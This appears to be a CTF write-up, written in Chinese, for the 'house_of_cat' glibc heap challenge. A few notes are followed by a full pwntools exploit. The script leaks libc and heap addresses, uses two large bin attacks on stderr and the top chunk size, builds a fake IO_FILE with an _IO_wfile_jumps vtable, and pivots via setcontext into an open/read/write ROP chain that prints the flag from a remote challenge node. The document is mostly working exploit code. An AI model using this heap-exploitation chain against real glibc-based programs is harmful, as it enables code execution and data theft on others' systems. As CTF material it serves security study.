IDA调试

这里需要满足一定条件才能进入菜单,所以我使用IDA动态调试,这样可以加快逆向速度,最终确定字符串为:LOGIN | r00t QWBaaaaaadminQWXFb"mew mew mew~~~~~~", b"CAT | r00t QWBaaaaa" + p32(0xffffffff) + b"$QWXF"

注意事项

  1. 在沙箱中限制了 fd 的,所以在orw rop链中需要先close文件描述符0,然后再open flag,这样flag的文件描述符就为0。同时后面read也要以0作为文件描述符。

  1. 程序主函数不能正常返回退出,同时没有exit让我们使用FSOP,所以我们不能使用apple,就需要使用cat,利用malloc assert触发。

  2. 程序只有两次edit,所以两次large bin attack,第一次用来修改stderr,第二次修改top chunk size,这里是修改了top chunk size + 3的地方,加其他偏移会出错

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io = process("./house_of_cat")
io = remote("node4.anna.nssctf.cn",28742)

elf=ELF("./house_of_cat")
libc=ELF('./libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def add(idx, size, c):
sla(b"mew mew mew~~~~~~", b"CAT | r00t QWBaaaaa" + p32(0xffffffff) + b"$QWXF")
sla(b"choice:", b"1")
sla(b"idx:", str(idx))
sla(b"size:", str(size))
sa(b"content:", c)

def free(idx):
sla(b"mew mew mew~~~~~~", b"CAT | r00t QWBaaaaa" + p32(0xffffffff) + b"$QWXF")
sla(b"choice:", b"2")
sla(b"idx:", str(idx))

def show(idx):
sla(b"mew mew mew~~~~~~", b"CAT | r00t QWBaaaaa" + p32(0xffffffff) + b"$QWXF")
sla(b"choice:", b"3")
sla(b"idx:", str(idx))

def edit(idx, c):
sla(b"mew mew mew~~~~~~", b"CAT | r00t QWBaaaaa" + p32(0xffffffff) + b"$QWXF")
sla(b"choice:", b"4")
sla(b"idx:", str(idx))
sa(b"content:", c)

pause()
p = b"LOGIN | r00t QWBaaaaaadminQWXF"
sla(b"mew mew mew~~~~~~", p)

add(0, 0x420, b"aaa")
add(1, 0x420, b"bbbb")
add(2, 0x418, b"ccc")
free(0)
add(3, 0x430, b"ddd")
show(0)
ru(b"Context:\n")
libc_base = u64(rn(8).ljust(8, b"\x00")) - 0x21a0d0
fd = libc_base + 0x21a0d0
rn(8)
leak("libc_base", libc_base)
heap_base = u64(rn(8).ljust(8, b"\x00")) - 0x290
fd_nextsize = heap_base + 0x290
leak("heap_base", heap_base)

stderr = libc_base + libc.sym['stderr']
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rax = libc_base + next(libc.search(asm('pop rax\nret')))
syscall = libc_base + next(libc.search(asm('syscall\nret')))
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
pop_rdx_r12 = libc_base + 0x000000000011f497
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x0000000000029cd6
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
open = libc_base + libc.sym["open"]
close = libc_base + libc.sym["close"]

flag_addr = heap_base + 0x1be0 + 0x10
orw_addr = heap_base + 0x1350 + 0x10 # chunk1

fake_io_addr = heap_base + 0xaf0 # chunk0
next_chain = 0
fake_IO_FILE = p64(0)*6
fake_IO_FILE += p64(1)+p64(0)
fake_IO_FILE += p64(fake_io_addr+0xb0) #_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext+0x3d) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(io_wfile_jumps+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE = fake_IO_FILE.ljust(0x100,b"\x00")
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

payload1=fake_IO_FILE+p64(0)*7+p64(orw_addr)+p64(ret)

free(2)
add(4, 0x418, payload1) # fake io
free(4)

# largebin attak
edit(0, p64(fd)*2 + p64(heap_base + 0x290) + p64(stderr - 0x20))

orw = flat(pop_rdi, 0, close) # close
orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall) # open
orw += flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read) # read
orw += flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)# write

add(5, 0x430, orw) # orw

# 申请其他大小的堆块,用于第二次largebin attack topchunk size。不要申请已经存在large bin中的堆块,会报错
add(6, 0x440, b"aaaa")
add(7, 0x430, b"./flag")
add(8, 0x430, b"aaaa")

free(6)
add(9, 0x450, b"aaa")
topchunk_size_addr = heap_base + 0x28c0
fd = libc_base + 0x21a0e0
fd_nextsize = heap_base + 0x1790
free(8)
edit(6, p64(fd)*2 + p64(fd_nextsize) + p64(topchunk_size_addr - 0x20+3))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))

sla('plz input your cat size:',str(0x460))

inter()